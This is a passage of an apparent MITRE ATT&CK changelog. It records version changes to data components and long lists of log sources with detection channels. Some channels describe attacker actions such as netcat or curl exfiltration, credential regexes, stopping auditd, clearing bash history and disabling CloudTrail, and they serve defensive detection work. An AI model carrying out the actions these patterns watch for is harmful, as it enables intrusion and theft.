x_mitre_data_source_refx-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:22.260000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0117] System Notifications

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0117', 'external_id': 'DC0117'}]
x_mitre_log_sources[{'name': 'User Interface', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:22.106000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0118] System Settings

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0118', 'external_id': 'DC0118'}]
x_mitre_log_sources[{'name': 'User Interface', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:21.541000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

ics-attack

Major Version Changes

[DC0038] Application Log Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0038', 'external_id': 'DC0038'}]
x_mitre_log_sources[{'name': 'Application Log', 'channel': 'None'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook errors loading or processing custom form templates'}, {'name': 'm365:unified', 'channel': 'Unusual form activity within Outlook client, including load of non-default forms'}, {'name': 'saas:okta', 'channel': 'Conditional Access policy rule modified or MFA requirement disabled'}, {'name': 'ApplicationLog:EntraIDPortal', 'channel': 'DeviceRegistration events'}, {'name': 'ApplicationLog:Intune/MDM Logs', 'channel': 'Enrollment events (e.g., MDMDeviceRegistration)'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed & Exchange Audit'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed, Search-Mailbox events'}, {'name': 'WinEventLog:Application', 'channel': 'Office Add-in load errors, abnormal loading context, or unsigned add-in warnings'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed'}, {'name': 'Application:Mail', 'channel': 'smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)'}, {'name': 'saas:slack', 'channel': 'file_upload, message_send, message_click'}, {'name': 'saas:teams', 'channel': 'ChatMessageSent, ChatMessageEdited, LinkClick'}, {'name': 'saas:gmail', 'channel': 'SendEmail, OpenAttachment, ClickLink'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, AttachmentPreviewed'}, {'name': 'WinEventLog:System', 'channel': 'Changes to applicationhost.config or DLLs loaded by w3wp.exe'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6416'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'Device started/installed (UMDF) GUIDs'}, {'name': 'linux:syslog', 'channel': 'usb * new|thunderbolt|pci .* added|block.*: new .* device'}, {'name': 'macos:unifiedlog', 'channel': 'Device attached|enumerated VID/PID'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types'}, {'name': 'Application:Mail', 'channel': 'Inbound messages with anomalous headers, spoofed SPF/DKIM failures'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound email activity with suspicious domains or mismatched sender information'}, {'name': 'm365:unified', 'channel': 'FileAccessed: Access of email attachments by Office applications'}, {'name': 'saas:collaboration', 'channel': 'MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)'}, {'name': 'ApplicationLog:IIS', 'channel': 'IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)'}, {'name': 'ApplicationLog:WebServer', 'channel': '/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors'}, {'name': 'macos:unifiedlog', 'channel': 'App/web server logs ingested via unified logging or filebeat (nginx/apache/node).'}, {'name': 'ApplicationLog:Ingress', 'channel': 'Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections'}, {'name': 'esxi:vmkernel', 'channel': 'vmkernel / OpenSLP logs for malformed requests'}, {'name': 'networkdevice:controlplane', 'channel': 'Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule execution failure or abnormal rule execution context'}, {'name': 'm365:unified', 'channel': 'Creation or modification of inbox rule outside of normal user behavior'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails containing embedded or shortened URLs'}, {'name': 'Application:Mail', 'channel': 'Inbound emails containing hyperlinks from suspicious sources'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages with embedded or shortened URLs'}, {'name': 'azure:signinLogs', 'channel': 'ConsentGrant: Suspicious consent grants to non-approved or unknown applications'}, {'name': 'm365:unified', 'channel': 'AppRegistration: Unexpected application registration or OAuth authorization'}, {'name': 'm365:unified', 'channel': 'MessageSend, MessageRead, or FileAttached events containing credential-like patterns'}, {'name': 'm365:exchange', 'channel': 'Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains'}, {'name': 'saas:slack', 'channel': 'chat.postMessage, files.upload, or discovery API calls involving token/credential regex'}, {'name': 'linux:syslog', 'channel': 'Inbound messages from webmail services containing attachments or URLs'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages containing embedded links or attachments from non-enterprise services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031,7034,1000,1001'}, {'name': 'linux:syslog', 'channel': "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc."}, {'name': 'esxi:hostd', 'channel': "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log."}, {'name': 'macos:unifiedlog', 'channel': "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons."}, {'name': 'esxi:hostd', 'channel': 'unexpected script/command invocations via hostd'}, {'name': 'linux:syslog', 'channel': 'System daemons initiating encrypted sessions with unexpected destinations'}, {'name': 'esxi:vpxd', 'channel': 'Symmetric crypto routines triggered for external session'}, {'name': 'AWS:CloudTrail', 'channel': 'SendEmail'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeModel'}, {'name': 'saas:openai', 'channel': 'High volume of requests to /v1/chat/completions or /v1/images/generations'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Add-InboxRule, RegisterWebhook'}, {'name': 'saas:application', 'channel': 'High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns.'}, {'name': 'NSM:Connections', 'channel': 'PushNotificationSent'}, {'name': 'saas:okta', 'channel': 'MFAChallengeIssued'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution'}, {'name': 'linux:syslog', 'channel': 'milter configuration updated, transport rule initialized, unexpected script execution'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs'}, {'name': 'linux:syslog', 'channel': 'Repetitive HTTP 408, 500, or 503 errors logged within short timeframe'}, {'name': 'macos:unifiedlog', 'channel': 'opendirectoryd crashes or abnormal authentication errors'}, {'name': 'm365:unified', 'channel': 'ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA'}, {'name': 'WinEventLog:Application', 'channel': 'Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events'}, {'name': 'linux:syslog', 'channel': 'Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads'}, {'name': 'macos:unifiedlog', 'channel': 'Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches'}, {'name': 'm365:unified', 'channel': 'Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook logs indicating failure to load or render HTML page in Home Page view'}, {'name': 'm365:unified', 'channel': 'Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1102'}, {'name': 'linux:cli', 'channel': 'cleared or truncated .bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'log stream cleared or truncated'}, {'name': 'm365:unified', 'channel': 'PurgeAuditLogs, Remove-MailboxAuditLog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=104'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000-1026'}, {'name': 'EDR:detection', 'channel': 'ThreatDetected, QuarantineLog'}, {'name': 'macos:unifiedlog', 'channel': 'quarantine or AV-related subsystem'}, {'name': 'EDR:detection', 'channel': 'ThreatLog'}, {'name': 'azure:signinlogs', 'channel': 'Modify Conditional Access Policy'}, {'name': 'm365:unified', 'channel': 'Set-CsOnlineUser or UpdateAuthPolicy'}, {'name': 'm365:unified', 'channel': 'New-InboxRule or Set-InboxRule events recorded in Exchange Online'}, {'name': 'ApplicationLog:MailServer', 'channel': 'Unexpected additions of sieve rules or filtering directives'}, {'name': 'm365:unified', 'channel': 'Transport rule or inbox rule creation events'}, {'name': 'ApplicationLog:Outlook', 'channel': 'Outlook client-level rule creation actions not consistent with normal user activity'}, {'name': 'kubernetes:orchestrator', 'channel': 'Access to orchestrator logs containing credentials (Docker/Kubernetes logs)'}, {'name': 'WinEventLog:Application', 'channel': 'Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)'}, {'name': 'journald:systemd', 'channel': 'Repeated service restart attempts or unit failures'}, {'name': 'macos:unifiedlog', 'channel': 'Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console'}, {'name': 'docker:events', 'channel': 'Container exited with non-zero code repeatedly in short period'}, {'name': 'WinEventLog:Application', 'channel': 'SCCM, Intune logs'}, {'name': 'macos:jamf', 'channel': 'RemoteCommandExecution'}, {'name': 'networkdevice:syslog', 'channel': 'config push events'}, {'name': 'linux:syslog', 'channel': 'processes binding to non-standard ports or sshd configured on unexpected port'}, {'name': 'm365:unified', 'channel': 'GAL Lookup or Address Book download'}, {'name': 'esxi:hostd', 'channel': 'Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails with attachments from suspicious or spoofed senders'}, {'name': 'Application:Mail', 'channel': 'Inbound email attachments logged from MTAs with suspicious metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound messages with attachments from suspicious domains'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files'}, {'name': 'm365:unified', 'channel': 'certificate added or modified in application credentials'}, {'name': 'saas:Snowflake', 'channel': 'QUERY: Large or repeated SELECT * queries to sensitive tables'}, {'name': 'saas:Airtable', 'channel': 'EXPORT: User-triggered data export via GUI or API'}, {'name': 'ApplicationLog:CallRecords', 'channel': 'Outbound or inbound calls to high-risk or blocklisted numbers'}, {'name': 'networkdevice:syslog', 'channel': 'SIP REGISTER, INVITE, or unusual call destination metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Outgoing or incoming calls with non-standard caller IDs or unusual metadata'}, {'name': 'm365:unified', 'channel': 'Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call'}, {'name': 'docker:daemon', 'channel': 'container_create,container_start'}, {'name': 'saas:github', 'channel': 'Bulk access to multiple files or large volume of repo requests within short time window'}, {'name': 'm365:exchange', 'channel': 'Transport Rule Modification'}, {'name': 'm365:exchange', 'channel': 'Admin Audit Logs, Transport Rules'}, {'name': 'saas:application', 'channel': 'High-volume API calls or traffic via messaging or webhook service'}, {'name': 'm365:unified', 'channel': 'Set federation settings on domain|Set domain authentication|Add federated identity provider'}, {'name': 'linux:syslog', 'channel': 'system daemons initiating TLS sessions outside expected services'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership'}, {'name': 'Application:Mail', 'channel': 'Mismatch between authenticated username and From header in email'}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app or third-party clients sending messages with mismatched From headers'}, {'name': 'gcp:workspaceaudit', 'channel': 'SendAs: Outbound messages with alias identities that differ from primary account'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000'}, {'name': 'linux:syslog', 'channel': 'browser/office crash, segfault, abnormal termination'}, {'name': 'macos:unifiedlog', 'channel': 'process crash, abort, code signing violations'}, {'name': 'saas:okta', 'channel': 'WebUI access to administrator dashboard'}, {'name': 'm365:unified', 'channel': 'Read-only configuration review from GUI'}, {'name': 'saas:box', 'channel': 'User navigated to admin interface'}, {'name': 'azure:signinlogs', 'channel': 'Register PTA Agent or Modify AD FS trust'}, {'name': 'm365:unified', 'channel': 'Modify Federation Settings or Update Authentication Policy'}, {'name': 'saas:okta', 'channel': 'Federation configuration update or signing certificate change'}, {'name': 'macos:unifiedlog', 'channel': 'Configuration profile modified or new profile installed'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000, 1001, 1002'}, {'name': 'journald:Application', 'channel': 'Segfault or crash log entry associated with specific application binary'}, {'name': 'macos:unifiedlog', 'channel': 'Crash log entries for a process receiving malformed input or known exploit patterns'}, {'name': 'AWS:CloudWatch', 'channel': 'Repeated crash pattern within container or instance logs'}, {'name': 'esxi:hostd', 'channel': 'unexpected script invocations producing long encoded strings'}, {'name': 'docker:runtime', 'channel': 'execution of cloud CLI tool (e.g., aws, az) inside container'}, {'name': 'WinEventLog:Application', 'channel': 'VPN, Citrix, or remote access gateway logs showing external IP addresses'}, {'name': 'NSM:Connections', 'channel': 'Failed password or accepted password for SSH users'}, {'name': 'ApplicationLog:API', 'channel': 'Docker/Kubernetes API access from external sources'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Unusual spikes in inbound messages to a single recipient'}, {'name': 'Application:Mail', 'channel': 'High-frequency inbound mail activity to a specific recipient address'}, {'name': 'm365:exchange', 'channel': 'MailDelivery: High-frequency delivery of messages or attachments to a single recipient'}, {'name': 'macos:unifiedlog', 'channel': 'Repetitive inbound email delivery activity logged within a short time window'}, {'name': 'saas:confluence', 'channel': 'access.content'}, {'name': 'm365:unified', 'channel': 'PowerShell: Add-MailboxPermission'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows'}, {'name': 'm365:exchange', 'channel': 'New-InboxRule: Automation that triggers abnormal forwarding or external link generation'}, {'name': 'saas:googledrive', 'channel': 'FileOpen / FileAccess: Event-driven script triggering on user file actions'}, {'name': 'networkdevice:syslog', 'channel': 'Failed authentication requests redirected to non-standard portals'}, {'name': 'saas:okta', 'channel': 'System API Call: user.read, group.read'}, {'name': 'esxi:hostd', 'channel': 'Host daemon command log entries related to vib enumeration'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission or Set-ManagementRoleAssignment'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule creation, form load, or homepage redirection'}, {'name': 'm365:mailboxaudit', 'channel': 'Outlook rule creation or custom form deployment'}, {'name': 'saas:zoom', 'channel': 'unusual web session tokens and automation patterns during login'}, {'name': 'WinEventLog:Application', 'channel': 'High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)'}, {'name': 'linux:syslog', 'channel': 'Error/warning logs from services indicating load spike or worker exhaustion'}, {'name': 'macos:unifiedlog', 'channel': 'Application errors or resource contention from excessive frontend or script invocation'}, {'name': 'AWS:CloudWatch', 'channel': 'Elevated 5xx response rates in application logs or gateway layer'}, {'name': 'm365:messagetrace', 'channel': 'AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail'}, {'name': 'linux:syslog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain'}, {'name': 'macos:unifiedlog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains'}, {'name': 'saas:email', 'channel': 'AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1341,1342,1020,1063'}, {'name': 'linux:syslog', 'channel': 'suspicious DHCP lease assignment with unexpected DNS or gateway'}, {'name': 'macos:unifiedlog', 'channel': 'new DHCP configuration with anomalous DNS or router values'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange logs or header artifacts'}, {'name': 'macos:unifiedlog', 'channel': 'Mail or AppleScript subsystem'}, {'name': 'm365:exchange', 'channel': 'MessageTrace logs'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000,1001'}, {'name': 'linux:syslog', 'channel': 'opened document|clicked link|segfault|abnormal termination|sandbox'}, {'name': 'macos:unifiedlog', 'channel': 'opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'm365:unified', 'channel': 'Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile'}, {'name': 'azure:activity', 'channel': 'Add role assignment / ElevateAccess / Create service principal'}, {'name': 'saas:googleworkspace', 'channel': 'OAuth2 authorization grants / Admin role assignments'}, {'name': 'm365:unified', 'channel': 'Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship'}, {'name': 'linux:syslog', 'channel': 'Authentication attempts into finance-related servers from unusual IPs or times'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous keychain access attempts targeting payment credentials'}, {'name': 'saas:finance', 'channel': 'Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts'}, {'name': 'saas:audit', 'channel': 'Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows'}, {'name': 'm365:unified', 'channel': 'MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, SearchQueried'}, {'name': 'm365:unified', 'channel': 'Detection of hidden macro streams or SetHiddenAttribute actions'}, {'name': 'm365:unified', 'channel': 'RunMacro'}, {'name': 'azure:audit', 'channel': 'App registrations or consent grants by abnormal users or at unusual times'}, {'name': 'azure:signinlogs', 'channel': 'Resource access initiated using application credentials, not user accounts'}, {'name': 'saas:slack', 'channel': 'OAuth token use by unknown app client_id accessing private channels or files'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels'}, {'name': 'linux:syslog', 'channel': 'sshd sessions with unusual port forwarding parameters'}, {'name': 'saas:audit', 'channel': 'Application added or consent granted: Integration persisting after original user disabled'}, {'name': 'linux:syslog', 'channel': 'Non-standard processes negotiating SSL/TLS key exchanges'}, {'name': 'esxi:vpxd', 'channel': 'ESXi process initiating asymmetric handshake with external host'}, {'name': 'WinEventLog:Application', 'channel': 'Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs'}, {'name': 'linux:syslog', 'channel': 'Module registration or stacktrace logs indicating segmentation faults or unknown module errors'}, {'name': 'esxi:hostd', 'channel': 'New extension/module install with unknown vendor ID'}, {'name': 'm365:unified', 'channel': 'FileUploaded or FileCopied events'}, {'name': 'saas:salesforce', 'channel': 'DataExport, RestAPI, Login, ReportExport'}, {'name': 'saas:hubspot', 'channel': 'contact_viewed, contact_exported, login'}, {'name': 'saas:slack', 'channel': 'conversations.history, files.list, users.info, audit_logs'}, {'name': 'm365:unified', 'channel': 'TeamsMessageAccess, TeamsExport, ExternalAppAccess'}, {'name': 'm365:unified', 'channel': 'TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport'}, {'name': 'm365:unified', 'channel': 'FileAccessed'}, {'name': 'm365:messagetrace', 'channel': 'X-MS-Exchange-Organization-AutoForwarded'}, {'name': 'linux:syslog', 'channel': 'Segfaults, kernel oops, or crashes in security software processes'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal terminations of com.apple.security.* or 3rd-party security daemons'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services'}, {'name': 'm365:unified', 'channel': 'ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:35.474000+00:002025-10-21 15:14:36.580000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0110] Asset Inventory

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0110', 'external_id': 'DC0110'}]
x_mitre_log_sources[{'name': 'Asset', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:50.339000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0064] Command Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}]
x_mitre_log_sources[{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop , service stop, or kill -9 '}, {'name': 'macos:unifiedlog', 'channel': 'launchctl unload, kill, or pkill commands affecting daemons or background services'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security-agent detection or enumeration commands'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of Microsoft script to enumerate custom forms in Outlook mailbox'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggers execution of mailbox-stored custom form'}, {'name': 'auditd:EXECVE', 'channel': "Use of mv or cp to rename files with '.' prefix"}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or SetFile -a V'}, {'name': 'esxi:shell', 'channel': 'interactive shell'}, {'name': 'networkdevice:cli', 'channel': 'CLI command'}, {'name': 'macos:unifiedlog', 'channel': 'log stream'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to locale, timedatectl, or cat /etc/timezone'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale, systemsetup -gettimezone'}, {'name': 'macos:unifiedlog', 'channel': 'profiles install -type=configuration'}, {'name': 'auditd:SYSCALL', 'channel': 'sleep function usage or loops (nanosleep, usleep) in scripts'}, {'name': 'm365:unified', 'channel': 'Search-Mailbox, Get-MessageTrace, eDiscovery requests'}, {'name': 'EDR:cli', 'channel': 'Command Line Telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "loginwindow" or "pfctl"\''}, {'name': 'networkdevice:syslog', 'channel': 'Command Audit / Configuration Change'}, {'name': 'WinEventLog:Microsoft-Office/OutlookAddinMonitor', 'channel': 'Outlook loading add-in via unexpected load path or non-default profile context'}, {'name': 'macos:unifiedlog', 'channel': 'exec or sudo usage with NOPASSWD context or echo modifying sudoers'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4104'}, {'name': 'WinEventLog:Powershell', 'channel': 'EventCode=4104'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Execution of update-ca-certificates or trust anchor modification commands'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain'}, {'name': 'auditd:EXECVE', 'channel': 'gcore, gdb, strings, hexdump execution'}, {'name': 'auditd:SYSCALL', 'channel': 'connect, execve, write'}, {'name': 'esxi:hostd', 'channel': 'command execution'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of auditctl, systemctl stop auditd, or kill -9 auditd'}, {'name': 'macos:syslog', 'channel': 'system.log'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'docker:daemon', 'channel': 'docker exec or docker run with unexpected command/entrypoint'}, {'name': 'auditd:SYSCALL', 'channel': "execve call including 'nohup' or trailing '&'"}, {'name': 'macos:unifiedlog', 'channel': 'nohup, disown, or osascript execution patterns'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CommandLine=copy-item or robocopy from UNC path'}, {'name': 'esxi:shell', 'channel': 'invoked remote scripts (esxcli)'}, {'name': 'auditd:EXECVE', 'channel': 'execution of systemctl with subcommands start, stop, enable, disable'}, {'name': 'networkdevice:cli', 'channel': 'Policy Update'}, {'name': 'auditd:SYSCALL', 'channel': 'None'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand'}, {'name': 'gcp:audit', 'channel': 'methodName: setIamPolicy, startInstance, createServiceAccount'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands executed within an SSH session where no matching logon/authentication event exists'}, {'name': 'esxi:hostd', 'channel': 'modification of config files or shell command execution'}, {'name': 'kubernetes:audit', 'channel': 'Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)'}, {'name': 'macos:unifiedlog', 'channel': "Execution of 'profiles install -type=configuration'"}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:com.apple.Terminal'}, {'name': 'networkdevice:syslog', 'channel': 'eventlog'}, {'name': 'esxi:hostd', 'channel': 'shell access or job registration'}, {'name': 'WinEventLog:PowerShell', 'channel': 'PowerShell launched from outlook.exe or triggered without user invocation'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email matches crafted rule trigger pattern tied to persistence logic'}, {'name': 'linus:syslog', 'channel': 'None'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104'}, {'name': 'linux:syslog', 'channel': 'Unusual outbound transfers from CLI tools like base64, gzip, or netcat'}, {'name': 'macos:unifiedlog', 'channel': 'base64 or curl processes chained within short execution window'}, {'name': 'esxi:shell', 'channel': 'base64 or gzip use within shell session'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, execve'}, {'name': 'macos:unifiedlog', 'channel': "chmod command with arguments including '+s', 'u+s', or numeric values 4000–6777"}, {'name': 'macos:unifiedlog', 'channel': 'command includes dscl . delete or sysadminctl --deleteUser'}, {'name': 'fs:fsusage', 'channel': 'file system activity monitor'}, {'name': 'networkdevice:cli', 'channel': 'ip ssh pubkey-chain'}, {'name': 'esxi:shell', 'channel': 'scripts or binaries with misleading names'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of GUI-related binaries with suppressed window/display flags'}, {'name': 'linuxsyslog', 'channel': 'nslcd or winbind logs'}, {'name': 'macos:unifiedlog', 'channel': 'DS daemon log entries'}, {'name': 'esxi:hostd', 'channel': 'logline inspection'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk / asr 